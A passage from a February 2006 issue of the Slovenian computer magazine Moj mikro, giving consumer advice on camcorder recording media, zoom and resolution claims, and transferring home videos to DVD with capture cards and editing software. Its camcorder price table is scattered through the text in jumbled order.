tem formatu zelo stisniti. To ima svojo ceno. Kakovost je po pričakovanjih in v praksi slabša kot pri klasičnem DV-ju, vidne razlike pa so predvsem pri hitrih premikih in enakomernih barvnih prehodih. Če ne boste snemali videospota ali celovečernega filma, marsikdo od gledalcev teh pomanjkljivosti niti ne bo opazil. Na medij mini DVD zmogljivosti 1,4 GB lahko shranimo do pol ure videa, na 1 GB pomnilniško kartico v formatu MPEG-4 pa okoli uro. Kljub slabši kakovosti zajetega materiala in manjši kapaciteti v primerjavi s trakom sta prednosti novih medijev hitrejši prenos v osebni računalnik in možnosti obdelave kar v videokameri. To velja predvsem za medije mini DVD, saj nekateri modeli omogočajo izbiro in rezanje posnetih kadrov, tako da dobimo že praktično urejen video. Hitrost pre- nosa je odvisna predvsem od hitrosti vmesnika. Hitri bralniki kartic znajo prenesti vsebino 1 GB kartice v nekaj minutah. V primerjavi s trakom, kjer moramo prenašati v razmerju 1 : 1 (ena ura videa in ena ura zajema) je to vsekakor velika pohitritev. Shranjevanje na nove medije ima še eno prednost, snemalec bolj pazi na dolžino kadrov. To obenem pomeni tudi krajši čas obdelave in verjeli ali ne, boljši končni izdelek. Verjemite, nobenemu se ne ljubi gledati triurnega posnetka vaše poroke ali dveurnega mučenja in gledanja posnetkov z vaših počitnic. Katerega od novih medijev torej izbrati? Če iščete majhne videokamere, ki gredo v vsak žep, je odgovor preprost, pomnilniška kartica. Slabost je predvsem cena, saj videokamere zaenkrat še niso poceni, prav tako so pomnilniške kartice predvsem večjih kapacitet dokaj drage v primerjavi z drugimi mediji. Zato se vam splača razmisliti o prenosnem trdem disku, ki vam bo rabil kot odlagališče, poleg tega je na količino prostora veliko cenejši v primerjavi s pomnilniško kartico. Mini DVD je zanimiv zaradi možnosti takojšnega arhiviranja, če uporabljate medije DVD-R. Posneti material preprosto shranimo in imamo osnovno varnostno kopijo. Glavna slabost je dokaj majhna kapaciteta v primerjavi z drugimi mediji, česar se mora zavemoj mikro | 2 | februar | 2006 PODROBNEJE O... dati predvsem snemalec. Začuda nimajo težav s tresljaji , kot bi pričakovali, saj so videokamere, katerih preizkus lahko berete v rubriki Digitalni svet, brez težav prestale daljše močnejše tresljaje. Mediji mini DVD imajo še slabost. V primerjavi s klasičnimi DVD-mediji so dokaj dragi, zato se splača razmisliti o prepisljivih medijih. S tem sicer zgubite arhivsko kopijo, a če vam ta ni tako pomembna, ste na ta račun lahko prihranili kar nekaj denarja. Trdi diski se v videokamerah šele dobro pojavljajo in znajo pritegniti marsikaterega računalniškega navdušenca. Velika kapaciteta, premorejo tudi 10 ali več, ur je sicer idealna za daljša popotovanja, a obenem nevarna. Trdi diski so namreč od vseh novih medijev najbolj izpostavljeni tresljajem in udarcem. Če gre kaj po zlu, smo lahko hitro ob ves posneti material. Poleg tega se lahko razvadimo na razkošje in posnamemo preveč materiala, ki ga je potrebno obdelati, da bo gledljiv. Na katerega od novincev bi torej stavili v prihodnosti? Vsekakor na pomnilniške kartice, saj jim cena še vedno pada in tudi v prihodnje bo tako. So najmanj občutljive na tresljaje, poleg tega so uporabne še za druge naprave, kot so digitalni fotoaparati ali dlančniki. NAKUP Ko se prvič zapodimo v oddelek videa v katerem od večjih nakupovalnih središč, smo lahko od množice podatkov hitro zmedeni. Proizvajalci nas skušajo prepričati z dvema podatkoma: možnostjo približevanja (zum) in milijoni pik, podobno kot pri digitalnih fotoaparatih. Številke, kot so recimo 100x, 200x ali celo 400x in več (približevanje), se slišijo zelo udarno. To Aktualno v trgovinah Kot smo že omenili uvodoma, boste analogne videokamere že težko našli, v večini primerov prevladujejo digitalne. Cene slednjim so namreč tako padle, da lahko nekatere modele odnesete domov že za dobrih 80 tisočakov. Z več možnostmi in različnimi mediji boste morali seči globlje, od 100 do 200 tisočakov. V tem razredu lahko izbirate med videokamerami z različnimi mediji snemanja; klasičen trak je še vedno najbolj razširjen. Modeli z medijem mini DVD so bili še ne tako dolgo tega krepko dražji od drugih modelov, trenutno lahko izbirate med njimi že v razredu okoli 150 tisočakov. Nekaj podobnega velja tudi za videokamere, ki snemajo na pomnilniške kartice, za 50 tisočakov so dražji modeli, ki snemajo na trde diske. Izbira je pestra tako med podjetji kot modeli. Ker smo za videokamere pripravljeni odšteti kar nekaj denarja, omenimo še edini Sonyev model HDV, ki ima pri nas tako rekoč ameriško ceno. Stane namreč dobrih 440 tisočakov, podobno kot nekaj let nazaj prve mini DVD videokamere. Kaj boste z njim počeli oziroma kje boste predvajali, je pa druga reč. videokamere  Pri videokamerah sta bolj kot optični zum in število pik, kar prodajalci radi izpostavljajo, pomembna ergonomija in preprosto upravljanje. velja še zlasti za moški del populacije, ki takoj začne razmišljati o poletnih mesecih in bližnji nudistični plaži. A pri tem podatku proizvajalci največkrat napišejo čarobno besedico Digital in nekje pod njo ali pa samo v navodilih z veliko manjšimi črkami n a pišejo še Optical. Številka pred njo je veliko manjša, ponavadi le med 10x ali 20x. Slednje je za nas uporabnike veliko pomembnejši podatek, saj gre za tisto spremembo goriščnice, ki jo objektiv zmore. Digitalni zum predvsem pri cenejših videokamerah pomeni preprosto to, da si mora ta podatke »izmisliti« (interpolirati). Kakovost slike lahko zelo pade in od vsega silnega približevanja imamo na koncu le nekaj zamegljenih kock. A tu znajo priskočiti na pomoč milijoni pik, druga stvar, s katero nas proizvajalci prepričujejo. Video ima stalno ločljivost 720 x 576 pik, in če to prevedemo v skupno število pik, dobimo skromnih 420.000 pik. To je daleč od vseh silnih milijonov, obljubljenih v videokameri. Slednje lahko izkoristimo za digitalni zum, saj lahko uporabimo le del slike, ki jo tipalo zajame. Kakovost pri tem niti ne bo tako zelo padla, dokler ne bomo šli pod že zgoraj omenjeno mejo 420.000 pik. To dejstvo dobro izkoriščajo proizvajalci, ki pri videokamerah z večjim številom pik praviloma ponujajo manjši optični zum, pa še dražje nam jih prodajo. Se jih da izkoristiti za zajem fotografij? Seveda, vendar je kakovost slabša kot pri digitalnih fotoaparatih z enakim številom pik. Videokamere imajo namreč še manjša tipala, kot jih imajo digitalni fotoaparati, kar prinese več šuma v sliko. Večje število pik izkoriščajo še za eno stvar, elektronsko umirjanje slike. Slednje je veliko preprostejše kot optično, saj tu ne potrebujemo dodatnega mehaničnega sklopa, ki bi krmililo sklop leč in tako odpravljajo tresenje slike. Večina modelov za amatersko rabo je dokaj majhnih in lahkih, zato je tresenje, ki ga povzroča roka hitro vidno v sliki. Praktično ni več videokamere, ki ne bi imela umirjevalnika slike, saj brez njega ne gre pri 10x zumu. Optični umirjevalnik svoje delo opravi bolje kot elektronski, a ga boste našli le v dražjih modelih. Pri snemanju so veliko pomembnejše druge stvari, kot optični zum ali milijoni pik. V prvi vrsti je domačemu uporabniku pomembna dostopnost do možnosti, ki jih pri snemanju potrebujemo. Največkrat pride prav funkcija za snemanje proti svetlobi. Ta nadosvetli sliko in naredi obraze svetlejše in s tem razpoznavnejše. Nekateri modeli imajo za to poseben gumb, pri drugih morate to poiskati v meniju, kar je se- 16 : 9 in 4 : 3 Naši televizijski sprejemniki in ločljivost video zapisa, ki je zaenkrat v veljavi, so v razmerju stranic 4 : 3. Večina videokamer ponuja še drug format, 16 : 9. Slednji bo praviloma zaživel šele z videom visoke ločljivosti (HD), saj je tam večina formatov nastavljena na to razmerje stranic. Navadne DV-videokamere, ki snemajo v tem formatu, preprosto odrežejo del slike zgoraj in spodaj ter ga tako spremenijo iz formata 4 : 3 v 16 : 9. S tem pravzaprav izgubimo pri kakovosti slike, saj več kot 720 pik po daljši stranici ne moremo prikazati. veda slabša možnost. Možnost hitrega ročnega ostrenja imajo le nekateri,predvsem dražji modeli. V slabših svetlobnih razmerah ali pri snemanju dveh oseb, ki se pogovarjata, videokamera velikokrat ne zna oceniti, v kateri točki naj bo ostro, in ročno ostrenje je edina rešitev. Kako boste prišli do tega, je druga stvar, žal obroči za ostrenje okoli objektiva vztrajno izginjajo. Za razliko od digitalnih fotoaparatov videokamere veliko bolje ocenijo izravnavo beline, čeprav se tudi slednje znajo zmotiti. Plezanje po menijih pri cenejših modelih ali gumb pri dražjih, če izpostavimo dva načina izbiranja izravnave. Vdelana lučka, ki sicer zelo hitro prazni baterijo, utegne biti več kot dobrodošla, saj pomaga k boljšim rezultatom v slabših svetlobnih razmerah, poleg tega pomaga pri ostrenju . Če videokamera tega nima, je zelo priporočljivo, da ima nastavek za mobilno lučko. Tudi možnost ročnega odpiranja in zapiranja zaslonke je uporabna stvar, če smo tega dela bolj vešči. Ko na koncu pregledamo vse te možnosti, ugotovimo, da sta pomembnejši ergonomija in preprosto upravljanje, kot pa tiste možnosti, ki jih proizvajalci radi izpostavijo.  47 PODROBNEJE O... digitalni filmi Kako presneti svoje filme na DVD? Digitalne in analogne videokamere, večinoma shranjujejo filme na videokasete, VHS, 8 mm, pomnilniške kartice. Tem je skupno v glavnem to, da so videokamere in da njihov medij večinoma ni končna postaja. Trenutno želi večina uporabnikov presneti svoje filme na DVD. Piše : Zdenko Frangež zdenko.frangez@mojmikro.com J asno. Ko pa je DVD kot medij tako primeren, tako poceni in seveda več kot razširjen. Predvajalniki in delno tudi že DVD-snemalniki so dostopni tudi tistim z nekoliko plitvejšimi denarnicami. DVD-medije reklamirajo tudi kot večen medij. Večen ravno ni, daleč od tega, prav gotovo pa ima daljšo življenjsko dobo kot magnetni trakovi. Večen tudi ne bo zaradi vedno novih tehnologij in vedno prostornejših medijev. Dandanašnji pa je DVD aktualen, razširjen in je seveda jasno, da bomo filme posneli na ta medij. Kako se temu streže, smo že pisali, pa je tema kljub temu še vedno tako aktualna in uporabniki vedno znova iščejo takšne in drugačne nasvete na to temo. Torej poglejmo, kako se zadevam streže. PRVI KORAKI Načinov kako se zadeve lotiti je več. Najlažja pot je DVD-zapisovalnik (rekorder). Lahko ga kupite za nekaj deset tisočakov. Na takšno napravo je mogoče priključiti analogno ali digitalno videokamero, videorekorder in filme preprosto presneti. Ne glede na to, kakšne vr- ste kamero imamo ali kakšen medij uporablja za hranjenje filmov. Ta rešitev je prav gotovo najlažja, žal pa takšni DVD-rekorderji ne ponujajo prav veliko možnosti. Če želite posnetke tudi nekoliko obdelati, se posvetiti montaži in izdelavi menijev potem to seveda ni dokončna in kompletna rešitev, čeprav je še kako primerna. Tudi če boste nekatere filme obdelali s pomočjo računalnika, pa večina uporabnikov filmov ne obdeluje, ampak samo hrani in si jih ogleduje. Takšnim je preprost DVDsnemalnik dovolj. Zahtevnejši imajo na voljo tudi DVD-snemalnike, ki omogočajo montažo. Takšni snemalniki imajo vdelan zajeten trdi disk. Nanj prenesete film ali kopico filmov, potem pa si jih preprosto ogledate. Zavrtite malo naprej, malo nazaj, poiščete posamezne kadre in jih označite. Tudi pri tem opravilu vam nekoliko boljše naprave pomagajo s samodejnim odkrivanjem kadrov. Potem te kadre samo zložite v novem vrstnem redu, dodate prehode in posebne učinke, naslove, podnaslove VIDEOKAMERE Proizvajalec in ime modela Informacije Spletni naslov Cena Tehnični podatki Vrsta Tipalo Canon MV 700i Canon Adria www.canon.com 98.667 SIT Mini DV CCD 1/6” 800.000 točk ni podatka Format Optična / digitalna 18x / 360x povečava 2.5” 112.00 točk LCD zaslon * V tabeli so zajete kamere mini DV do 100.000 SIT, ostale pa tiste, ki jih je mogoče najti preko večjih spletnih strani, oziroma so najpogostejše na policah naših trgovin Canon MV 790 Canon Adria www.canon.com 80.988 SIT Canon MV 800 Canon Adria www.canon.com 87.990 SIT Sony DCR-HC17E Sony Slovenija www.sony.com 94.490 SIT Sony DCR-HC19E Sony Slovenija www.sony.com 84.990 SIT Mini DV CCD 1/6” 800.000 točk ni podatka 18x / 360x Mini DV CCD 1/6” 800.000 točk 16:9 20x / ni podatka Mini DV Mini DV Mini DV Mini DV Mini DV CCD 800.000 točk CCD 800.000 točk CCD 800.000 točk CCD 800.000 točk CCD 800.000 točk ni podatka 20x /640x ni podatka 20x /800x ni podatka 16x / 700x ni podatka 25x / 800x ni podatka 25x / 800x 2.4” 112.00 točk 2.4” 112.00 točk 2.5” 2.5” 2.5” 2.5” 2.5” Mini DV kaseta Mini DV kaseta Mini DV kaseta Mini DV kaseta Mini DV kaseta Mini DV kaseta Mini DV kaseta DV, S-Video, USB DV DV DV ni podatka ni podatka ni podatka Pomnilni medij Mini DV kaseta Priključki DV izhod, analogni DV izhod, analogni ni podatka vhod vhod DV, S-Video, USB Dimenzije in teža 53.0 x 95.0 x 139.0 mm, 490g 55 x 90 x 112mm, 54.7 x 90 x 400g 111.7mm, 400g 48 in še kaj. Naprava bo izvedla končno montažo in prenos na DVD. Zadeva je dokaj preprosto naravnana in sila podobna montaži filma z domačim računalnikom. Le da sedite pred DVDzapisovalnikom in TV-zaslonom. Je pa razpon možnosti dodanih tovrstnim napravam sila širok. Naprave, ki ponujajo veliko ali prav vse so še precej drage. Seveda s časom cene tudi na tem področju padajo. Zares izpopolnjene naprave pa bodo vedno domena zahtevnih amaterjev in profesionalcev, tako so tudi cene naravnane višje. Vse skupaj je nekako tako, kot je bilo v času videokaset. Tudi takrat so bile na voljo sila zmogljive naprave, ki so omogočale montažo filmov. Pozneje so se pojavile naprave za montažo filmov neposredno s kaset mini DV. Zdaj smo še v dobi DVD-naprav, pa že spet nekateri proizvajalci drugačne opreme napovedujejo njihov zaton. Prihodnost pa je že zdaj videti pestra, saj se vsi proizvajalci trudijo izdelati napravo, ki bo uporabnikom zlezla pod kožo. Tako so na obzorju že naprave s prostornejšimi optičnimi mediji, take, ki jih sploh nimajo, 51 x 93 x 130 mm, 430g ni podatka JVC GR-D225 Medis d.o.o www.jvc.com 76.790 SIT JVC GR-D239 Medis d.o.o www.jvc.com 76.790 SIT JVC GR-D245 Medis d.o.o www.jvc.com 81.590 SIT moj mikro | 2 | februar | 2006 PODROBNEJE O... ampak se zanašajo na miniaturne trde diske. Vse najdemo v razponu od ogromnih medijskih centrov pa vse do dlančnikov, s katerimi je mogoča tudi videomontaža. Nekatera podjetja, med katerimi orje ledino tudi Sony, pa so ubrala bližnjico do preproste videomontaže in zapisovanja filmov na DVDje. V dobi, ko nam vsi predstavljajo prednosti multimedijskih računalnikov, je to možnost seveda težko spregledati. Naredili so le korak naprej in sestavili mini PC, ki je namenjen le ali predvsem videomontaži. Tak računalniček je lahko sila oskubljen, da je le dovolj hiter, da ima trdi disk in DVD-zapisovalnik. Ključna je seveda programska oprema, ki vam omogoča preprosto videomontažo. Tovrstne naprave so na voljo že za dobrih sto tisočakov. In ja, so zanimive. Ampak ker večina lastnikov kamer že ima doma tudi računalnik, je rešitev nekoliko hecna. Saj imate skoraj vse že doma, le uporabiti je treba. Seveda. Očiten način je uporaba domačega računalnika. Praktično vsi novi računalniki so dovolj zmogljivi, tudi nekoliko boljši prenosniki. Potrebujete le grafično kartico z ustreznim analognim vhodom, če imate analogno videokamero, priključkom firewire, če premorete digitalno kamero, TV-kartico s takšnim vhodom ali posebno kartico za zajem analognega video signala. Strojne zahteve so torej odvisne od tipa kamere, ki jo uporabljate. Zmogljivejši računalniki so že tudi več kot dovolj zmogljivi za sprotno kodiranje v format MPEG-2, ki je potreben za DVD-filme in sprotnim odpravljanjem prepletanja (deinterlace). Tudi če vam računalnik ne zmore opraviti vseh opravil hkrati v realnem času, pa je to mogoče storiti postopoma. Filme je mogoče zajeti v nestisnjenem formatu AVI in pozneje odpraviti prepletanje in stisniti s katerim od primernih kodekov. Zadeva vsekakor zasede več prostora, na srečo pa so trdi diski velikosti preko sto GB JVC GR-DF425 Medis d.o.o www.jvc.com 99.442 SIT Sony DCR-TRV270E Sony Slovenija www.sony.com 69.741 SIT Soy DCR-TRV285E Sony Slovenija www.sony.com 78.291 SIT digitalni filmi  Poglavitni koraki so prenos zajetega filma na trdi disk, kodiranje, obdelava video posnetka, ponovno kodiranje in zapis filma na DVD-medij. že zelo poceni, zadoščajo pa za nekaj ur posnetega materiala. In ko zadevo kodiramo, jo je preprosto zapeči na DVD, kar sprosti prostor na disku za nove zajeme posnetkov iz videokamere. Najpreprosteje je seveda z digitalnimi videokamerami. Te imajo praktično vse ali vsaj velika večina priključek firewire, nekatere že tudi USB. Praktično vsi računalniki oziroma njihove matične plošče premorejo priključek firewire. In za prenos filma na trdi disk ne potrebujete nič drugega kot ustrezen povezovalni kabel in katerega od programov za prenos videa na domač računalnik. V nekaterih primerih je že priložen kameri, na voljo so brezplačne različice nekaterih programov. Prav vsi programi za obdelavo digitalnega videa pa znajo opraviti to kar mimogrede. Bolj zapleteno je z analognimi videokamerami, pa ne veliko. Ker je razlika samo pri načinu prenosa filma na trdi disk, ne bom posebej razlagal, kako je pri eni ali drugi vrsti. Za digitalne kamere že vemo (ja, tako preprosto je to), kako gre pri analognih, pa bomo seveda pogledali malo podrobneje. Poleg omenjenih rešitev za prenos video signala iz analogne kamere v računalnik so na voljo še zunanje naprave v obliki različnih kodirnikov iz analognega signala v digitalni video. DVD-zapisovalnik od uporabnika zahteva najmanj znanja in tudi nudi manj. Za zahtevnejše, oziroma tiste, ki se nekoliko znajdejo z domačim računalnikom, pa bomo pogledali nekaj že omenjenih rešitev nekoliko podrobneje. Pa nič strahu, ves postopek niti ni tako zapleten, kot je videti v samem začetku. Ko razumemo osnovna načela in imamo seznam Sony DCR-TRV480E Sony Slovenija www.sony.com 92.991 SIT Sony DCR-DVD202E Sony Slovenija www.sony.com 159.165 SIT potrebne strojne in programske opreme, je vse drugo lahko. Potrebujemo sicer veliko volje, nekaj znanja in spretnosti, pa veliko časa. Treba je tudi vedeti, da vse rešitve ne dajejo enake kakovosti končnega izdelka ali ne ponujajo vseh možnosti. Razlika je tudi v delu, ki ga boste vložili v ohranjanje video zapisov. Končna odločitev bo vaša. Morda na podlagi opreme, ki jo že imate doma, ali pa na podlagi časa, ki ga lahko temu namenite. ... IN NADALJNJI KORAKI Preden se zadev lotite, pa je potreben premislek, kaj in kako. Vsa opravila je mogoče razdeliti na nekaj korakov. Najprej je treba zajeti film iz videokamere in ga shraniti na trdi disk. Če je mimogrede kodiran v MPEG2, toliko bolje (da je pestreje, imajo različne kamere različne formate zapisa filma na kaseto ali drug medij), sicer vas čaka kodiranje v Sony DCR-DVD203E Sony Slovenija www.sony.com 178.500 SIT Sony DCR-DVD7 Sony Slovenija www.sony.com 169.191 SIT Canon DC20 Canon Adria www.canon.com 223.661 SIT Canon DC10 Mini DV Digital 8 Digital 8 Digital 8 DVD CCD 800.000 točk CCD 540.000 točk CCD 540.000 točk CCD 540.000 točk CCD 1.07 milijona točk ni podatka ni podatka ni podatka ni podatka 16:9 15x / 700x 20x / 990x 20x / 990x 20x / 990x 12x / 480x DVD CCD 1.07 milijona točk 16:9 12x / 480x DVD DVD CCD 800.000 točk CCD 2.2 milijona točk 16:9 16:9 10x / 120x 10x / 2.5” 2.5” 123.000 točk 2.5” 123.000 točk 2.5” 123.000 točk 2.7” 2.7” 2.5” 123.000 točk 2.5” 123.000 točk 2.5” 123.000 točk Mini DV kaseta Digital 8 kaseta Digital 8 kaseta Digital 8 kaseta DVD-R, DVD-RW, DVD+RW DVD-R, DVD-RW, DVD+RW DVD-R, DVD-RW, DVD+RW DV DV, S-Video, USB DV, S-Video, USB DV, S-Video, USB S-Video, video ni podatka 85 x 98 x 151, 780g 85 x 98 x 151, 780g 85 x 98 x 151, 800g 57 x 87 x 131, 440g S-Video, video /vhodi in izhodi, USB 57 x 87 x 131, 440g S-Video, video /vhodi in izhodi, USB 49 x 101 x 127mm, 360g Canon Adria www.canon.com 189.984 SIT DVD CCD 1.33 milijona točk 16:9 10x / 200x DVD-R, DVDRW, DVD+RW, pomnilna kartica USB 2.0, AV, S-Video DVD-R, DVD-RW, DVD+RW 47 x 86 x 122 mm, 410g 47 x 86 x 122 mm, 400g USB 2.0, AV, S-Video 49 PODROBNEJE O... digitalni filmi ustrezen format za zapis na DVD-medij. Naslednji korak je namenjen obdelavi video posnetka. Delitev na manjše kadre, med katere boste vnesli prehode, če se boste tega seveda lotili, potem vas čaka določitev kadrov in izdelava menijev. Vsako rezanje in spajanje filma, vnos prehodov med kadri in še kaj pa zahteva ponovno kodiranje filma, kar spet zahteva nekaj časa. Ta ni nujno zelo kratek. Zato se pripravite pri daljših filmih tudi na daljši čas kodiranja celotne zadeve. Programi za obdelavo videa pa omogočajo, da vse pripravite v naprej in končno kodiranje opravite na koncu. Zvečer torej opravite vse potrebno, ponoči bo pa poprijel vaš računalnik in do jutra prav gotovo opravil vse potrebno. Tako boste izdelali DVD-film, ki ne narekuje le linearnega ogleda. Mogoče je izbirati predvajanje posameznih delov, kakor jih prej določite. Natančno tako, kot ste vajeni pri komercialnih DVD-filmih. Le nekaj več truda je treba vložiti in seveda izbrati ustrezno programsko opremo, ki vse te možnosti podpira. Zadnji korak je zapis filma na DVD-medij. STROJNA OPREMA Zajem filma iz analogne videokamere, lahko tudi iz videorekorderja, je zajem analognega video signala. Ni nobene razlike med tema dvema napravama. Vsaj v postopku ne. Torej potrebujemo posebno napravo, ki tak signal sprejme in spremeni v primerno obliko za računalnik. Nekoč smo za to kupovali posebne grafične kartice z analognim video vhodom. Danes je to pozabljeno. Na voljo je namreč kopica TV-kartic vseh vrst in oblik, ki za nameček še prav hudo drage niso. Omogočajo pa poleg tega, kar trenutno opisujem, tudi snemanje TV-sporedov. Zraven slike pa bi radi zajeli tudi zvok. Za to je potrebna zvočna kartica z avdio vhodom. Večina novejših matičnih plošč z vdelano zvočno kartico to seveda omogoča. Proizvajalec in ime modela Informacije Spletni naslov Cena Tehnični podatki Vrsta Tipalo Priključki Dimenzije in teža 50 Vzemite si čas, naj ob zajemu videa računalnik počne samo to. TV-kartice V glavnem še vedno velja, da dražje kartice omogočajo več in delujejo zanesljiveje. Novejši modeli ne bodo povzročali preglavic, tudi če so nekoliko cenejši. Treba je le izbrati model, ki ima vdelan tudi analogni video vhod. Žal ga nimajo prav vse kartice, torej nekaj pozornosti pred nakupom ni odveč. Na voljo so naprave za PCI-vodilo, zadnje čase pa so čedalje pogostejše zunanje naprave z USB-vodilom. Kakšno si boste privoščili, je odvisno od vas. USB-modeli so le prilagodljivejši. Lahko jih prenašate naokoli in priključite v poljuben računalnik. Kartice z vdelanim kodirnikom Kartice za zajem in digitalno obdelavo videa so še vedno v glavnem domena zahtevnejših uporabnikov. Zato so tudi nekoliko dražje. Tipični predstavniki takšnih kartic prihajajo iz podjetij Pinnacle in Matrox. Praviloma gre za naprave, ki ponujajo strojno kodiranje, kopico priključkov in možnosti, ki jih bo znal izkoristiti do konca izkoristiti le nekoliko bolj vnet uporabnik. Sicer so na voljo tudi nekoliko cenejše različice, pa navadno znižajo ceno Hitachi DZMV-730 Lukvel d.o.o. www.hitachi.com 143.990 SIT Hitachi DZMV-750 Lukvel d.o.o. www.hitachi.com 159.500 SIT Hitachi DZMV-780 Lukvel d.o.o. www.hitachi.com 175.900 SIT Hitachy GX20E Lukvel d.o.o. www.hitachi.com 233.920 SIT JVC GZ-MG20 Medis d.o.o www.jvc.com 194.814 SIT DVD ni podatka DVD ni podatka 16:9 16x / DVD CCD 1.3 milijona točk 16:9 ni podatka DVD CCD 2.12 milijona točk 16:9 ni podatka HD HD HD CCD 800.000 točk CCD 800.000 točk CCD 1.3 milijona točk 16:9 16:9 16:9 25x / 800x 25x / 800x 15x / 700x HD CCD 2.12 milijona točk 16:9 10x / 200x 2.5” 2.5” 2.5” 2.5”cm 4.5 cm 8cm DVD-RAM/ DVD-R, SD USB, S-Video, kompozitni video in avidio 51 x 89 x 133 mm, 450g 8cm DVD-RAM/ DVD-R, SD USB, S-Video, kompozitni video in avidio 51 x 86 x 123 mm, 420g 8cm DVD-RAM/ trdi disk 20 GB, SD trdi disk 30 GB, SD trdi disk 50 GB, SD DVD-R, SD USB, S-Video, USB USB USB kompozitni video in avidio 51 x 90 x 137 380g 380g 380g mm, 480g 16:9 Format Optična / digitalna 16x / povečava 2.5” LCD zaslon Pomnilni medij Niso pa čisto vse tudi dovolj kakovostne. Pogosta napaka, ki se pojavlja, je zaostajanje ali prehitevanje zvoka. Včasih se pojavi takoj, včasih šele po določenem trajanju prenosa. Vse je odvisno od strojne in včasih tudi od programske opreme. Včasih je dovolj, če omejimo zajem posnetkov z videokasete na, recimo, eno uro, drugič ne bo nobenih težav, v tretjem primeru pa bo potrebno nekaj preizkušanja strojne opreme in izbrati takšno, ki omogoča normalno delo. Katera kombinacija bo pa delovala bolje ali slabše, pa ne more nihče v naprej povedati. Treba bo preizkusiti. Lahko tudi trgovcu razložite svoje zahteve, ta bo moral pa zagotoviti brezhibno in zadovoljivo delovanje tako opremljenega računalnika. Glavni delež obremenitev pa bo v večini primerov nosil procesor. Če ni dovolj zmogljiv, se bodo pri zajemu izgubljale sličice, če bo teh veliko, pa bo tako zajet film praktično neuporaben. Večina sodobnih računalnikov, kot rečeno, zmore to opravilo. Vendar ne, če počnete takrat z računalnikom še kaj drugega. 8cm DVD-RAM/ DVD-R, SD USB, S-Video, kompozitni video in avidio 51 x 89 x 133 mm JVC GZ-MG30 Medis d.o.o www.jvc.com 208.991 SIT 2.5”cm JVC GZ-MG50 Medis d.o.o www.jvc.com 234.991 SIT 2.5”cm JVC GZ-MC200 Medis d.o.o www.jvc.com 295.741 SIT 4Mb MicroDrive, CF, SD USB 355g moj mikro | 2 | februar | 2006 PODROBNEJE O... digitalni filmi na račun strojnega kodiranja. Strojno kodiranje videa pa ima svoje dobre in slabe plati. Dobra je prav gotovo razbremenitev procesorja, saj skoraj vse potrebno opravi kartica sama. Tako za zajem videa v realnem času zadošča že računalnik z dokaj skromnim procesorjem. Negativna plat pa je omejen izbor kodekov. Kodek je vdelan v strojno opremo. Pri neka- Kodeki Tokrat o kodekih ni treba posebej izgubljati besed. Potrebujete jih in to je vse. Ni potrebe po posebnih nastavitvah in posebni izbiri kot pri kodekih DivX. Vedeti morate le, da potrebujete kodek MPEG-2, in to tistega za kodiranje. Kodek za dekodiranje verjetno že imate v svojem računalniku. Kodirni del pa boste dobili ob nakupu ustrezne programske opreme ali pa boste z nakupom pridobili možnost prenosa kodeka s spletne strani založnika. V nasprotnem primeru bo treba pošteno prebrskati svetovni splet in poskusiti najti brezplačen kodek. Težko bo, saj je večino MPEG-2 kodirnih kodekov treba plačati. Vse je seveda odvisno od vas in vaše programske opreme. Saj to tudi določa, kako se boste zadeve lotili, katere formate uporabili za obdelavo in kako boste vse skupaj pretvorili v obliko, primerno za zapis na DVD. Ponujene rešitve pa še zdaleč niso vse. Le dober zgled so, kako se zadeve lotiti. Ob branju vam morda gredo lasje pokonci in razmišljate, komu se ljubi s tem mučiti. V resnici pa je, ko enkrat poskusite, zadeva sila preprosta, po nekaj zajetih filmih pa boste že pravcati veteran in boste druge prepričevali o prednostih ene ali druge rešitve. In če ste lastniki primerne programske opreme, ni razloga, da zadev ne preizkusite takoj, ko boste imeli pol ure prostega časa. Še zadnji nasvet: pri prvih projektih zapišite film na prepisljivi medij. Če boste zadovoljni ga lahko prekopirate na cenejšega za enkratno uporabo. Po nekaj projektih pa boste tako vedeli kako in kaj vam je najbolj všeč. In navsezadnje so dandanašnji DVD-mediji tako poceni, da vas ne bo konec tudi če bo kakšen romal v koš, ker ne boste zadovoljni s končnim izdelkom. Zato nič strahu, zadeva je preprosta in celo zabavna. Družina in prijatelji pa bodo vsekakor navdušeni nad smiselno obdelanimi video posnetki. Tako se ne bodo več mučili z nekajurnimi posnetki vašega zadnjega dopusta v katerih je vse, od tresočih rok, spotikanja in še česa. Krajši, smiselno urejen prikaz je vsekakor boljši. terih modelih ga je mogoče nadgraditi. Video bo navadno v formatu MPEG-2, primernem za zapis na DVD. Lahko pa pozneje zapis kodirate v poljuben format in zadeva je urejena. Na voljo so tudi posebne naprave, imenovane DV Box, ki so namenjene prav isti zadevi, torej zajemu digitalnega ali analognega videa iz kamer ali drugih virov. Zvočne kartice Potrebujemo avdio vhod zadostne kakovosti. Na matično ploščo vdelane sicer načeloma zadostijo vsem kriterijem, zadeva pa v nekaterih primerih ne bo delovala. Včasih tudi samo zaradi trmaste programske opreme. Zadevo seveda velja preizkusiti, da se izognemo nepotrebnemu nakupu dodatne zvočne kartice.  51 PODROBNEJE O... digitalni filmi PROGRAMSKA OPREMA Prav z izbiro primerne programske opreme je navadno največ težav. Pa se v resnici s tem ni treba zelo obremenjevati. Ponudba je dokaj raznolika, saj so primerni vsi programi, ki zmorejo zajeti video signal. Tako je razpon od posebnih programov za zajem videa s TV-kartic (velikokrat so že priloženi takšni strojni opremi), univerzalnih programov, ki znajo zajeti video tudi iz drugih virov, pa vse do programov za digitalno obdelavo videa, ki vsi brez razlike podpirajo tudi zajem iz različnih virov. Slednji so dražji, zato omogočajo montažo, vstavljanje prehodov in še kaj. Nekaj programov za zajem in obdelavo digitalnega videa boste našli tudi na našem MikroCD-ju. Najprivlačnejšega med amaterskimi programi pa bom še posebej opisal. Vsaj toliko, kolikor dopušča prostor, in toliko, da bo izbira ali odločitev o nakupu lažja. Ulead VideoStudio 9 Podjetje Ulead je že dolgo znano po svojih programih, namenjenih domači rabi. Osnovna vodilo pri izdelavi takšnih programov je preprosta uporaba, kar jim je več kot uspelo. Video Studio 9 je nov izdelek, ki se teh načel še kako natančno drži. Je sila preprost za uporabo, saj vam na poti skozi vse korake, od zajema, obdelave, izbire ozadij, tem in izdelave menijev, seveda pa tudi zapisa videa na DVD ali drug optični medij, pomaga čarovnik. Tudi če se tega odrečete, pa je struktura uporabniškega vmesnika takšna, da je vrstni red opravil več kot jasen. Pri vseh prednostih tega programa za domačo rabo je tudi njegova cena naravnana natančno tako visoko, kot so uporabniki še pripravljeni plačati. In 99 USD prav gotovo ni preveč. Tako tudi ni naključje, da je ta izdelek med najpriljubljenejšimi tovrstnimi programi nasploh. Pa poglejmo, kaj nas čaka, natančno 